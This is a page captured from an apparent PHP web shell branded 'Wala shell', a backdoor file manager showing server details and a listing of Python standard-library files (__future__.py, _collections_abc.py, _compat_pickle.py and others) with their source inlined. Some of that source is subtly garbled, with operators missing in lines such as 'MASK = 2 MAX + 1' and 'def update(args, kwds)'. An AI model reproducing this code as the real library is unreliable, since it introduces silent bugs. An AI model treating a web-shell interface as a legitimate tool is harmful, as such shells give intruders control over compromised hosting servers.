Wala shell

Advanced PHP File Manager

Server IP: 127.0.0.1 | PHP Version: 8.3.30 | Domains Hosted: 54

Name	Size	Last Modified
📁 ..	-	2025-10-13 08:00
📄 __future__.py """Record of phased-in incompatible language changes. Each line is of the form: FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease "," CompilerFlag ")" where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples of the same form as sys.version_info: (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int PY_MINOR_VERSION, # the 1; an int PY_MICRO_VERSION, # the 0; an int PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string PY_RELEASE_SERIAL # the 3; an int ) OptionalRelease records the first release in which from __future__ import FeatureName was accepted. In the case of MandatoryReleases that have not yet occurred, MandatoryRelease predicts the release in which the feature will become part of the language. Else MandatoryRelease records when the feature became part of the language; in releases at or after that, modules no longer need from __future__ import FeatureName to use the feature in question, but may continue to use such imports. MandatoryRelease may also be None, meaning that a planned feature got dropped. Instances of class _Feature have two corresponding methods, .getOptionalRelease() and .getMandatoryRelease(). CompilerFlag is the (bitfield) flag that should be passed in the fourth argument to the builtin function compile() to enable the feature in dynamically compiled code. This flag is stored in the .compiler_flag attribute on _Future instances. These values must match the appropriate #defines of CO_xxx flags in Include/compile.h. No feature line is ever to be deleted from this file. """ all_feature_names = [ "nested_scopes", "generators", "division", "absolute_import", "with_statement", "print_function", "unicode_literals", "barry_as_FLUFL", "generator_stop", "annotations", ] __all__ = ["all_feature_names"] + all_feature_names # The CO_xxx symbols are defined here under the same names defined in # code.h and used by compile.h, so that an editor search will find them here. # However, they're not exported in __all__, because they don't really belong to # this module. CO_NESTED = 0x0010 # nested_scopes CO_GENERATOR_ALLOWED = 0 # generators (obsolete, was 0x1000) CO_FUTURE_DIVISION = 0x2000 # division CO_FUTURE_ABSOLUTE_IMPORT = 0x4000 # perform absolute imports by default CO_FUTURE_WITH_STATEMENT = 0x8000 # with statement CO_FUTURE_PRINT_FUNCTION = 0x10000 # print function CO_FUTURE_UNICODE_LITERALS = 0x20000 # unicode string literals CO_FUTURE_BARRY_AS_BDFL = 0x40000 CO_FUTURE_GENERATOR_STOP = 0x80000 # StopIteration becomes RuntimeError in generators CO_FUTURE_ANNOTATIONS = 0x100000 # annotations become strings at runtime class _Feature: def __init__(self, optionalRelease, mandatoryRelease, compiler_flag): self.optional = optionalRelease self.mandatory = mandatoryRelease self.compiler_flag = compiler_flag def getOptionalRelease(self): """Return first release in which this feature was recognized. This is a 5-tuple, of the same form as sys.version_info. """ return self.optional def getMandatoryRelease(self): """Return release in which this feature will become mandatory. This is a 5-tuple, of the same form as sys.version_info, or, if the feature was dropped, is None. """ return self.mandatory def __repr__(self): return "_Feature" + repr((self.optional, self.mandatory, self.compiler_flag)) nested_scopes = _Feature((2, 1, 0, "beta", 1), (2, 2, 0, "alpha", 0), CO_NESTED) generators = _Feature((2, 2, 0, "alpha", 1), (2, 3, 0, "final", 0), CO_GENERATOR_ALLOWED) division = _Feature((2, 2, 0, "alpha", 2), (3, 0, 0, "alpha", 0), CO_FUTURE_DIVISION) absolute_import = _Feature((2, 5, 0, "alpha", 1), (3, 0, 0, "alpha", 0), CO_FUTURE_ABSOLUTE_IMPORT) with_statement = _Feature((2, 5, 0, "alpha", 1), (2, 6, 0, "alpha", 0), CO_FUTURE_WITH_STATEMENT) print_function = _Feature((2, 6, 0, "alpha", 2), (3, 0, 0, "alpha", 0), CO_FUTURE_PRINT_FUNCTION) unicode_literals = _Feature((2, 6, 0, "alpha", 2), (3, 0, 0, "alpha", 0), CO_FUTURE_UNICODE_LITERALS) barry_as_FLUFL = _Feature((3, 1, 0, "alpha", 2), (3, 9, 0, "alpha", 0), CO_FUTURE_BARRY_AS_BDFL) generator_stop = _Feature((3, 5, 0, "beta", 1), (3, 7, 0, "alpha", 0), CO_FUTURE_GENERATOR_STOP) annotations = _Feature((3, 7, 0, "beta", 1), (4, 0, 0, "alpha", 0), CO_FUTURE_ANNOTATIONS)	4.98 KB	2024-04-17 17:55
📄 __phello__.foo.py # This file exists as a helper for the test.test_frozen module.	64 B	2024-04-17 17:55
📁 __pycache__	-	2025-10-13 08:00
📄 _bootlocale.py """A minimal subset of the locale module used at interpreter startup (imported by the _io module), in order to reduce startup time. Don't import directly from third-party code; use the `locale` module instead! """ import sys import _locale if sys.platform.startswith("win"): def getpreferredencoding(do_setlocale=True): if sys.flags.utf8_mode: return 'UTF-8' return _locale._getdefaultlocale()[1] else: try: _locale.CODESET except AttributeError: if hasattr(sys, 'getandroidapilevel'): # On Android langinfo.h and CODESET are missing, and UTF-8 is # always used in mbstowcs() and wcstombs(). def getpreferredencoding(do_setlocale=True): return 'UTF-8' else: def getpreferredencoding(do_setlocale=True): if sys.flags.utf8_mode: return 'UTF-8' # This path for legacy systems needs the more complex # getdefaultlocale() function, import the full locale module. import locale return locale.getpreferredencoding(do_setlocale) else: def getpreferredencoding(do_setlocale=True): assert not do_setlocale if sys.flags.utf8_mode: return 'UTF-8' result = _locale.nl_langinfo(_locale.CODESET) if not result and sys.platform == 'darwin': # nl_langinfo can return an empty string # when the setting has an invalid value. # Default to UTF-8 in that case because # UTF-8 is the default charset on OSX and # returning nothing will crash the # interpreter. result = 'UTF-8' return result	1.76 KB	2024-04-17 17:55
📄 _collections_abc.py # Copyright 2007 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Abstract Base Classes (ABCs) for collections, according to PEP 3119. Unit tests are in test_collections. """ from abc import ABCMeta, abstractmethod import sys __all__ = ["Awaitable", "Coroutine", "AsyncIterable", "AsyncIterator", "AsyncGenerator", "Hashable", "Iterable", "Iterator", "Generator", "Reversible", "Sized", "Container", "Callable", "Collection", "Set", "MutableSet", "Mapping", "MutableMapping", "MappingView", "KeysView", "ItemsView", "ValuesView", "Sequence", "MutableSequence", "ByteString", ] # This module has been renamed from collections.abc to _collections_abc to # speed up interpreter startup. Some of the types such as MutableMapping are # required early but collections module imports a lot of other modules. # See issue #19218 __name__ = "collections.abc" # Private list of types that we want to register with the various ABCs # so that they will pass tests like: # it = iter(somebytearray) # assert isinstance(it, Iterable) # Note: in other implementations, these types might not be distinct # and they may have their own implementation specific types that # are not included on this list. bytes_iterator = type(iter(b'')) bytearray_iterator = type(iter(bytearray())) #callable_iterator = ??? dict_keyiterator = type(iter({}.keys())) dict_valueiterator = type(iter({}.values())) dict_itemiterator = type(iter({}.items())) list_iterator = type(iter([])) list_reverseiterator = type(iter(reversed([]))) range_iterator = type(iter(range(0))) longrange_iterator = type(iter(range(1 << 1000))) set_iterator = type(iter(set())) str_iterator = type(iter("")) tuple_iterator = type(iter(())) zip_iterator = type(iter(zip())) ## views ## dict_keys = type({}.keys()) dict_values = type({}.values()) dict_items = type({}.items()) ## misc ## mappingproxy = type(type.__dict__) generator = type((lambda: (yield))()) ## coroutine ## async def _coro(): pass _coro = _coro() coroutine = type(_coro) _coro.close() # Prevent ResourceWarning del _coro ## asynchronous generator ## async def _ag(): yield _ag = _ag() async_generator = type(_ag) del _ag ### ONE-TRICK PONIES ### def _check_methods(C, methods): mro = C.__mro__ for method in methods: for B in mro: if method in B.__dict__: if B.__dict__[method] is None: return NotImplemented break else: return NotImplemented return True class Hashable(metaclass=ABCMeta): __slots__ = () @abstractmethod def __hash__(self): return 0 @classmethod def __subclasshook__(cls, C): if cls is Hashable: return _check_methods(C, "__hash__") return NotImplemented class Awaitable(metaclass=ABCMeta): __slots__ = () @abstractmethod def __await__(self): yield @classmethod def __subclasshook__(cls, C): if cls is Awaitable: return _check_methods(C, "__await__") return NotImplemented class Coroutine(Awaitable): __slots__ = () @abstractmethod def send(self, value): """Send a value into the coroutine. Return next yielded value or raise StopIteration. """ raise StopIteration @abstractmethod def throw(self, typ, val=None, tb=None): """Raise an exception in the coroutine. Return next yielded value or raise StopIteration. """ if val is None: if tb is None: raise typ val = typ() if tb is not None: val = val.with_traceback(tb) raise val def close(self): """Raise GeneratorExit inside coroutine. """ try: self.throw(GeneratorExit) except (GeneratorExit, StopIteration): pass else: raise RuntimeError("coroutine ignored GeneratorExit") @classmethod def __subclasshook__(cls, C): if cls is Coroutine: return _check_methods(C, '__await__', 'send', 'throw', 'close') return NotImplemented Coroutine.register(coroutine) class AsyncIterable(metaclass=ABCMeta): __slots__ = () @abstractmethod def __aiter__(self): return AsyncIterator() @classmethod def __subclasshook__(cls, C): if cls is AsyncIterable: return _check_methods(C, "__aiter__") return NotImplemented class AsyncIterator(AsyncIterable): __slots__ = () @abstractmethod async def __anext__(self): """Return the next item or raise StopAsyncIteration when exhausted.""" raise StopAsyncIteration def __aiter__(self): return self @classmethod def __subclasshook__(cls, C): if cls is AsyncIterator: return _check_methods(C, "__anext__", "__aiter__") return NotImplemented class AsyncGenerator(AsyncIterator): __slots__ = () async def __anext__(self): """Return the next item from the asynchronous generator. When exhausted, raise StopAsyncIteration. """ return await self.asend(None) @abstractmethod async def asend(self, value): """Send a value into the asynchronous generator. Return next yielded value or raise StopAsyncIteration. """ raise StopAsyncIteration @abstractmethod async def athrow(self, typ, val=None, tb=None): """Raise an exception in the asynchronous generator. Return next yielded value or raise StopAsyncIteration. """ if val is None: if tb is None: raise typ val = typ() if tb is not None: val = val.with_traceback(tb) raise val async def aclose(self): """Raise GeneratorExit inside coroutine. """ try: await self.athrow(GeneratorExit) except (GeneratorExit, StopAsyncIteration): pass else: raise RuntimeError("asynchronous generator ignored GeneratorExit") @classmethod def __subclasshook__(cls, C): if cls is AsyncGenerator: return _check_methods(C, '__aiter__', '__anext__', 'asend', 'athrow', 'aclose') return NotImplemented AsyncGenerator.register(async_generator) class Iterable(metaclass=ABCMeta): __slots__ = () @abstractmethod def __iter__(self): while False: yield None @classmethod def __subclasshook__(cls, C): if cls is Iterable: return _check_methods(C, "__iter__") return NotImplemented class Iterator(Iterable): __slots__ = () @abstractmethod def __next__(self): 'Return the next item from the iterator. When exhausted, raise StopIteration' raise StopIteration def __iter__(self): return self @classmethod def __subclasshook__(cls, C): if cls is Iterator: return _check_methods(C, '__iter__', '__next__') return NotImplemented Iterator.register(bytes_iterator) Iterator.register(bytearray_iterator) #Iterator.register(callable_iterator) Iterator.register(dict_keyiterator) Iterator.register(dict_valueiterator) Iterator.register(dict_itemiterator) Iterator.register(list_iterator) Iterator.register(list_reverseiterator) Iterator.register(range_iterator) Iterator.register(longrange_iterator) Iterator.register(set_iterator) Iterator.register(str_iterator) Iterator.register(tuple_iterator) Iterator.register(zip_iterator) class Reversible(Iterable): __slots__ = () @abstractmethod def __reversed__(self): while False: yield None @classmethod def __subclasshook__(cls, C): if cls is Reversible: return _check_methods(C, "__reversed__", "__iter__") return NotImplemented class Generator(Iterator): __slots__ = () def __next__(self): """Return the next item from the generator. When exhausted, raise StopIteration. """ return self.send(None) @abstractmethod def send(self, value): """Send a value into the generator. Return next yielded value or raise StopIteration. """ raise StopIteration @abstractmethod def throw(self, typ, val=None, tb=None): """Raise an exception in the generator. Return next yielded value or raise StopIteration. """ if val is None: if tb is None: raise typ val = typ() if tb is not None: val = val.with_traceback(tb) raise val def close(self): """Raise GeneratorExit inside generator. """ try: self.throw(GeneratorExit) except (GeneratorExit, StopIteration): pass else: raise RuntimeError("generator ignored GeneratorExit") @classmethod def __subclasshook__(cls, C): if cls is Generator: return _check_methods(C, '__iter__', '__next__', 'send', 'throw', 'close') return NotImplemented Generator.register(generator) class Sized(metaclass=ABCMeta): __slots__ = () @abstractmethod def __len__(self): return 0 @classmethod def __subclasshook__(cls, C): if cls is Sized: return _check_methods(C, "__len__") return NotImplemented class Container(metaclass=ABCMeta): __slots__ = () @abstractmethod def __contains__(self, x): return False @classmethod def __subclasshook__(cls, C): if cls is Container: return _check_methods(C, "__contains__") return NotImplemented class Collection(Sized, Iterable, Container): __slots__ = () @classmethod def __subclasshook__(cls, C): if cls is Collection: return _check_methods(C, "__len__", "__iter__", "__contains__") return NotImplemented class Callable(metaclass=ABCMeta): __slots__ = () @abstractmethod def __call__(self, args, *kwds): return False @classmethod def __subclasshook__(cls, C): if cls is Callable: return _check_methods(C, "__call__") return NotImplemented ### SETS ### class Set(Collection): """A set is a finite, iterable container. This class provides concrete generic implementations of all methods except for __contains__, __iter__ and __len__. To override the comparisons (presumably for speed, as the semantics are fixed), redefine __le__ and __ge__, then the other operations will automatically follow suit. """ __slots__ = () def __le__(self, other): if not isinstance(other, Set): return NotImplemented if len(self) > len(other): return False for elem in self: if elem not in other: return False return True def __lt__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) < len(other) and self.__le__(other) def __gt__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) > len(other) and self.__ge__(other) def __ge__(self, other): if not isinstance(other, Set): return NotImplemented if len(self) < len(other): return False for elem in other: if elem not in self: return False return True def __eq__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) == len(other) and self.__le__(other) @classmethod def _from_iterable(cls, it): '''Construct an instance of the class from any iterable input. Must override this method if the class constructor signature does not accept an iterable for an input. ''' return cls(it) def __and__(self, other): if not isinstance(other, Iterable): return NotImplemented return self._from_iterable(value for value in other if value in self) __rand__ = __and__ def isdisjoint(self, other): 'Return True if two sets have a null intersection.' for value in other: if value in self: return False return True def __or__(self, other): if not isinstance(other, Iterable): return NotImplemented chain = (e for s in (self, other) for e in s) return self._from_iterable(chain) __ror__ = __or__ def __sub__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return self._from_iterable(value for value in self if value not in other) def __rsub__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return self._from_iterable(value for value in other if value not in self) def __xor__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return (self - other) \| (other - self) __rxor__ = __xor__ def _hash(self): """Compute the hash value of a set. Note that we don't define __hash__: not all sets are hashable. But if you define a hashable set type, its __hash__ should call this function. This must be compatible __eq__. All sets ought to compare equal if they contain the same elements, regardless of how they are implemented, and regardless of the order of the elements; so there's not much freedom for __eq__ or __hash__. We match the algorithm used by the built-in frozenset type. """ MAX = sys.maxsize MASK = 2 MAX + 1 n = len(self) h = 1927868237 * (n + 1) h &= MASK for x in self: hx = hash(x) h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 h &= MASK h = h * 69069 + 907133923 h &= MASK if h > MAX: h -= MASK + 1 if h == -1: h = 590923713 return h Set.register(frozenset) class MutableSet(Set): """A mutable set is a finite, iterable container. This class provides concrete generic implementations of all methods except for __contains__, __iter__, __len__, add(), and discard(). To override the comparisons (presumably for speed, as the semantics are fixed), all you have to do is redefine __le__ and then the other operations will automatically follow suit. """ __slots__ = () @abstractmethod def add(self, value): """Add an element.""" raise NotImplementedError @abstractmethod def discard(self, value): """Remove an element. Do not raise an exception if absent.""" raise NotImplementedError def remove(self, value): """Remove an element. If not a member, raise a KeyError.""" if value not in self: raise KeyError(value) self.discard(value) def pop(self): """Return the popped value. Raise KeyError if empty.""" it = iter(self) try: value = next(it) except StopIteration: raise KeyError from None self.discard(value) return value def clear(self): """This is slow (creates N new iterators!) but effective.""" try: while True: self.pop() except KeyError: pass def __ior__(self, it): for value in it: self.add(value) return self def __iand__(self, it): for value in (self - it): self.discard(value) return self def __ixor__(self, it): if it is self: self.clear() else: if not isinstance(it, Set): it = self._from_iterable(it) for value in it: if value in self: self.discard(value) else: self.add(value) return self def __isub__(self, it): if it is self: self.clear() else: for value in it: self.discard(value) return self MutableSet.register(set) ### MAPPINGS ### class Mapping(Collection): __slots__ = () """A Mapping is a generic container for associating key/value pairs. This class provides concrete generic implementations of all methods except for __getitem__, __iter__, and __len__. """ @abstractmethod def __getitem__(self, key): raise KeyError def get(self, key, default=None): 'D.get(k[,d]) -> D[k] if k in D, else d. d defaults to None.' try: return self[key] except KeyError: return default def __contains__(self, key): try: self[key] except KeyError: return False else: return True def keys(self): "D.keys() -> a set-like object providing a view on D's keys" return KeysView(self) def items(self): "D.items() -> a set-like object providing a view on D's items" return ItemsView(self) def values(self): "D.values() -> an object providing a view on D's values" return ValuesView(self) def __eq__(self, other): if not isinstance(other, Mapping): return NotImplemented return dict(self.items()) == dict(other.items()) __reversed__ = None Mapping.register(mappingproxy) class MappingView(Sized): __slots__ = '_mapping', def __init__(self, mapping): self._mapping = mapping def __len__(self): return len(self._mapping) def __repr__(self): return '{0.__class__.__name__}({0._mapping!r})'.format(self) class KeysView(MappingView, Set): __slots__ = () @classmethod def _from_iterable(self, it): return set(it) def __contains__(self, key): return key in self._mapping def __iter__(self): yield from self._mapping KeysView.register(dict_keys) class ItemsView(MappingView, Set): __slots__ = () @classmethod def _from_iterable(self, it): return set(it) def __contains__(self, item): key, value = item try: v = self._mapping[key] except KeyError: return False else: return v is value or v == value def __iter__(self): for key in self._mapping: yield (key, self._mapping[key]) ItemsView.register(dict_items) class ValuesView(MappingView, Collection): __slots__ = () def __contains__(self, value): for key in self._mapping: v = self._mapping[key] if v is value or v == value: return True return False def __iter__(self): for key in self._mapping: yield self._mapping[key] ValuesView.register(dict_values) class MutableMapping(Mapping): __slots__ = () """A MutableMapping is a generic container for associating key/value pairs. This class provides concrete generic implementations of all methods except for __getitem__, __setitem__, __delitem__, __iter__, and __len__. """ @abstractmethod def __setitem__(self, key, value): raise KeyError @abstractmethod def __delitem__(self, key): raise KeyError __marker = object() def pop(self, key, default=__marker): '''D.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. ''' try: value = self[key] except KeyError: if default is self.__marker: raise return default else: del self[key] return value def popitem(self): '''D.popitem() -> (k, v), remove and return some (key, value) pair as a 2-tuple; but raise KeyError if D is empty. ''' try: key = next(iter(self)) except StopIteration: raise KeyError from None value = self[key] del self[key] return key, value def clear(self): 'D.clear() -> None. Remove all items from D.' try: while True: self.popitem() except KeyError: pass def update(args, kwds): ''' D.update([E, ]F) -> None. Update D from mapping/iterable E and F. If E present and has a .keys() method, does: for k in E: D[k] = E[k] If E present and lacks .keys() method, does: for (k, v) in E: D[k] = v In either case, this is followed by: for k, v in F.items(): D[k] = v ''' if not args: raise TypeError("descriptor 'update' of 'MutableMapping' object " "needs an argument") self, args = args if len(args) > 1: raise TypeError('update expected at most 1 arguments, got %d' % len(args)) if args: other = args[0] if isinstance(other, Mapping): for key in other: self[key] = other[key] elif hasattr(other, "keys"): for key in other.keys(): self[key] = other[key] else: for key, value in other: self[key] = value for key, value in kwds.items(): self[key] = value def setdefault(self, key, default=None): 'D.setdefault(k[,d]) -> D.get(k,d), also set D[k]=d if k not in D' try: return self[key] except KeyError: self[key] = default return default MutableMapping.register(dict) ### SEQUENCES ### class Sequence(Reversible, Collection): """All the operations on a read-only sequence. Concrete subclasses must override __new__ or __init__, __getitem__, and __len__. """ __slots__ = () @abstractmethod def __getitem__(self, index): raise IndexError def __iter__(self): i = 0 try: while True: v = self[i] yield v i += 1 except IndexError: return def __contains__(self, value): for v in self: if v is value or v == value: return True return False def __reversed__(self): for i in reversed(range(len(self))): yield self[i] def index(self, value, start=0, stop=None): '''S.index(value, [start, [stop]]) -> integer -- return first index of value. Raises ValueError if the value is not present. Supporting start and stop arguments is optional, but recommended. ''' if start is not None and start < 0: start = max(len(self) + start, 0) if stop is not None and stop < 0: stop += len(self) i = start while stop is None or i < stop: try: v = self[i] if v is value or v == value: return i except IndexError: break i += 1 raise ValueError def count(self, value): 'S.count(value) -> integer -- return number of occurrences of value' return sum(1 for v in self if v is value or v == value) Sequence.register(tuple) Sequence.register(str) Sequence.register(range) Sequence.register(memoryview) class ByteString(Sequence): """This unifies bytes and bytearray. XXX Should add all their methods. """ __slots__ = () ByteString.register(bytes) ByteString.register(bytearray) class MutableSequence(Sequence): __slots__ = () """All the operations on a read-write sequence. Concrete subclasses must provide __new__ or __init__, __getitem__, __setitem__, __delitem__, __len__, and insert(). """ @abstractmethod def __setitem__(self, index, value): raise IndexError @abstractmethod def __delitem__(self, index): raise IndexError @abstractmethod def insert(self, index, value): 'S.insert(index, value) -- insert value before index' raise IndexError def append(self, value): 'S.append(value) -- append value to the end of the sequence' self.insert(len(self), value) def clear(self): 'S.clear() -> None -- remove all items from S' try: while True: self.pop() except IndexError: pass def reverse(self): 'S.reverse() -- reverse IN PLACE' n = len(self) for i in range(n//2): self[i], self[n-i-1] = self[n-i-1], self[i] def extend(self, values): 'S.extend(iterable) -- extend sequence by appending elements from the iterable' for v in values: self.append(v) def pop(self, index=-1): '''S.pop([index]) -> item -- remove and return item at index (default last). Raise IndexError if list is empty or index is out of range. ''' v = self[index] del self[index] return v def remove(self, value): '''S.remove(value) -- remove first occurrence of value. Raise ValueError if the value is not present. ''' del self[self.index(value)] def __iadd__(self, values): self.extend(values) return self MutableSequence.register(list) MutableSequence.register(bytearray) # Multiply inheriting, see ByteString	25.8 KB	2024-04-17 17:55
📄 _compat_pickle.py # This module is used to map the old Python 2 names to the new names used in # Python 3 for the pickle module. This needed to make pickle streams # generated with Python 2 loadable by Python 3. # This is a copy of lib2to3.fixes.fix_imports.MAPPING. We cannot import # lib2to3 and use the mapping defined there, because lib2to3 uses pickle. # Thus, this could cause the module to be imported recursively. IMPORT_MAPPING = { '__builtin__' : 'builtins', 'copy_reg': 'copyreg', 'Queue': 'queue', 'SocketServer': 'socketserver', 'ConfigParser': 'configparser', 'repr': 'reprlib', 'tkFileDialog': 'tkinter.filedialog', 'tkSimpleDialog': 'tkinter.simpledialog', 'tkColorChooser': 'tkinter.colorchooser', 'tkCommonDialog': 'tkinter.commondialog', 'Dialog': 'tkinter.dialog', 'Tkdnd': 'tkinter.dnd', 'tkFont': 'tkinter.font', 'tkMessageBox': 'tkinter.messagebox', 'ScrolledText': 'tkinter.scrolledtext', 'Tkconstants': 'tkinter.constants', 'Tix': 'tkinter.tix', 'ttk': 'tkinter.ttk', 'Tkinter': 'tkinter', 'markupbase': '_markupbase', '_winreg': 'winreg', 'thread': '_thread', 'dummy_thread': '_dummy_thread', 'dbhash': 'dbm.bsd', 'dumbdbm': 'dbm.dumb', 'dbm': 'dbm.ndbm', 'gdbm': 'dbm.gnu', 'xmlrpclib': 'xmlrpc.client', 'SimpleXMLRPCServer': 'xmlrpc.server', 'httplib': 'http.client', 'htmlentitydefs' : 'html.entities', 'HTMLParser' : 'html.parser', 'Cookie': 'http.cookies', 'cookielib': 'http.cookiejar', 'BaseHTTPServer': 'http.server', 'test.test_support': 'test.support', 'commands': 'subprocess', 'urlparse' : 'urllib.parse', 'robotparser' : 'urllib.robotparser', 'urllib2': 'urllib.request', 'anydbm': 'dbm', '_abcoll' : 'collections.abc', } # This contains rename rules that are easy to handle. We ignore the more # complex stuff (e.g. mapping the names in the urllib and types modules). # These rules should be run before import names are fixed. NAME_MAPPING = { ('__builtin__', 'xrange'): ('builtins', 'range'), ('__builtin__', 'reduce'): ('functools', 'reduce'), ('__builtin__', 'intern'): ('sys', 'intern'), ('__builtin__', 'unichr'): ('builtins', 'chr'), ('__builtin__', 'unicode'): ('builtins', 'str'), ('__builtin__', 'long'): ('builtins', 'int'), ('itertools', 'izip'): ('builtins', 'zip'), ('itertools', 'imap'): ('builtins', 'map'), ('itertools', 'ifilter'): ('builtins', 'filter'), ('itertools', 'ifilterfalse'): ('itertools', 'filterfalse'), ('itertools', 'izip_longest'): ('itertools', 'zip_longest'), ('UserDict', 'IterableUserDict'): ('collections', 'UserDict'), ('UserList', 'UserList'): ('collections', 'UserList'), ('UserString', 'UserString'): ('collections', 'UserString'), ('whichdb', 'whichdb'): ('dbm', 'whichdb'), ('_socket', 'fromfd'): ('socket', 'fromfd'), ('_multiprocessing', 'Connection'): ('multiprocessing.connection', 'Connection'), ('multiprocessing.process', 'Process'): ('multiprocessing.context', 'Process'), ('multiprocessing.forking', 'Popen'): ('multiprocessing.popen_fork', 'Popen'), ('urllib', 'ContentTooShortError'): ('urllib.error', 'ContentTooShortError'), ('urllib', 'getproxies'): ('urllib.request', 'getproxies'), ('urllib', 'pathname2url'): ('urllib.request', 'pathname2url'), ('urllib', 'quote_plus'): ('urllib.parse', 'quote_plus'), ('urllib', 'quote'): ('urllib.parse', 'quote'), ('urllib', 'unquote_plus'): ('urllib.parse', 'unquote_plus'), ('urllib', 'unquote'): ('urllib.parse', 'unquote'), ('urllib', 'url2pathname'): ('urllib.request', 'url2pathname'), ('urllib', 'urlcleanup'): ('urllib.request', 'urlcleanup'), ('urllib', 'urlencode'): ('urllib.parse', 'urlencode'), ('urllib', 'urlopen'): ('urllib.request', 'urlopen'), ('urllib', 'urlretrieve'): ('urllib.request', 'urlretrieve'), ('urllib2', 'HTTPError'): ('urllib.error', 'HTTPError'), ('urllib2', 'URLError'): ('urllib.error', 'URLError'), } PYTHON2_EXCEPTIONS = ( "ArithmeticError", "AssertionError", "AttributeError", "BaseException", "BufferError", "BytesWarning", "DeprecationWarning", "EOFError", "EnvironmentError", "Exception", "FloatingPointError", "FutureWarning", "GeneratorExit", "IOError", "ImportError", "ImportWarning", "IndentationError", "IndexError", "KeyError", "KeyboardInterrupt", "LookupError", "MemoryError", "NameError", "NotImplementedError", "OSError", "OverflowError", "PendingDeprecationWarning", "ReferenceError", "RuntimeError", "RuntimeWarning", # StandardError is gone in Python 3, so we map it to Exception "StopIteration", "SyntaxError", "SyntaxWarning", "SystemError", "SystemExit", "TabError", "TypeError", "UnboundLocalError", "UnicodeDecodeError", "UnicodeEncodeError", "UnicodeError", "UnicodeTranslateError", "UnicodeWarning", "UserWarning", "ValueError", "Warning", "ZeroDivisionError", ) try: WindowsError except NameError: pass else: PYTHON2_EXCEPTIONS += ("WindowsError",) for excname in PYTHON2_EXCEPTIONS: NAME_MAPPING[("exceptions", excname)] = ("builtins", excname) MULTIPROCESSING_EXCEPTIONS = ( 'AuthenticationError', 'BufferTooShort', 'ProcessError', 'TimeoutError', ) for excname in MULTIPROCESSING_EXCEPTIONS: NAME_MAPPING[("multiprocessing", excname)] = ("multiprocessing.context", excname) # Same, but for 3.x to 2.x REVERSE_IMPORT_MAPPING = dict((v, k) for (k, v) in IMPORT_MAPPING.items()) assert len(REVERSE_IMPORT_MAPPING) == len(IMPORT_MAPPING) REVERSE_NAME_MAPPING = dict((v, k) for (k, v) in NAME_MAPPING.items()) assert len(REVERSE_NAME_MAPPING) == len(NAME_MAPPING) # Non-mutual mappings. IMPORT_MAPPING.update({ 'cPickle': 'pickle', '_elementtree': 'xml.etree.ElementTree', 'FileDialog': 'tkinter.filedialog', 'SimpleDialog': 'tkinter.simpledialog', 'DocXMLRPCServer': 'xmlrpc.server', 'SimpleHTTPServer': 'http.server', 'CGIHTTPServer': 'http.server', # For compatibility with broken pickles saved in old Python 3 versions 'UserDict': 'collections', 'UserList': 'collections', 'UserString': 'collections', 'whichdb': 'dbm', 'StringIO': 'io', 'cStringIO': 'io', }) REVERSE_IMPORT_MAPPING.update({ '_bz2': 'bz2', '_dbm': 'dbm', '_functools': 'functools', '_gdbm': 'gdbm', '_pickle': 'pickle', }) NAME_MAPPING.update({ ('__builtin__', 'basestring'): ('builtins', 'str'), ('exceptions', 'StandardError'): ('builtins', 'Exception'), ('UserDict', 'UserDict'): ('collections', 'UserDict'), ('socket', '_socketobject'): ('socket', 'SocketType'), }) REVERSE_NAME_MAPPING.update({ ('_functools', 'reduce'): ('__builtin__', 'reduce'), ('tkinter.filedialog', 'FileDialog'): ('FileDialog', 'FileDialog'), ('tkinter.filedialog', 'LoadFileDialog'): ('FileDialog', 'LoadFileDialog'), ('tkinter.filedialog', 'SaveFileDialog'): ('FileDialog', 'SaveFileDialog'), ('tkinter.simpledialog', 'SimpleDialog'): ('SimpleDialog', 'SimpleDialog'), ('xmlrpc.server', 'ServerHTMLDoc'): ('DocXMLRPCServer', 'ServerHTMLDoc'), ('xmlrpc.server', 'XMLRPCDocGenerator'): ('DocXMLRPCServer', 'XMLRPCDocGenerator'), ('xmlrpc.server', 'DocXMLRPCRequestHandler'): ('DocXMLRPCServer', 'DocXMLRPCRequestHandler'), ('xmlrpc.server', 'DocXMLRPCServer'): ('DocXMLRPCServer', 'DocXMLRPCServer'), ('xmlrpc.server', 'DocCGIXMLRPCRequestHandler'): ('DocXMLRPCServer', 'DocCGIXMLRPCRequestHandler'), ('http.server', 'SimpleHTTPRequestHandler'): ('SimpleHTTPServer', 'SimpleHTTPRequestHandler'), ('http.server', 'CGIHTTPRequestHandler'): ('CGIHTTPServer', 'CGIHTTPRequestHandler'), ('_socket', 'socket'): ('socket', '_socketobject'), }) PYTHON3_OSERROR_EXCEPTIONS = ( 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'InterruptedError', 'IsADirectoryError', 'NotADirectoryError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', ) for excname in PYTHON3_OSERROR_EXCEPTIONS: REVERSE_NAME_MAPPING[('builtins', excname)] = ('exceptions', 'OSError') PYTHON3_IMPORTERROR_EXCEPTIONS = ( 'ModuleNotFoundError', ) for excname in PYTHON3_IMPORTERROR_EXCEPTIONS: REVERSE_NAME_MAPPING[('builtins', excname)] = ('exceptions', 'ImportError')	8.54 KB	2024-04-17 17:55
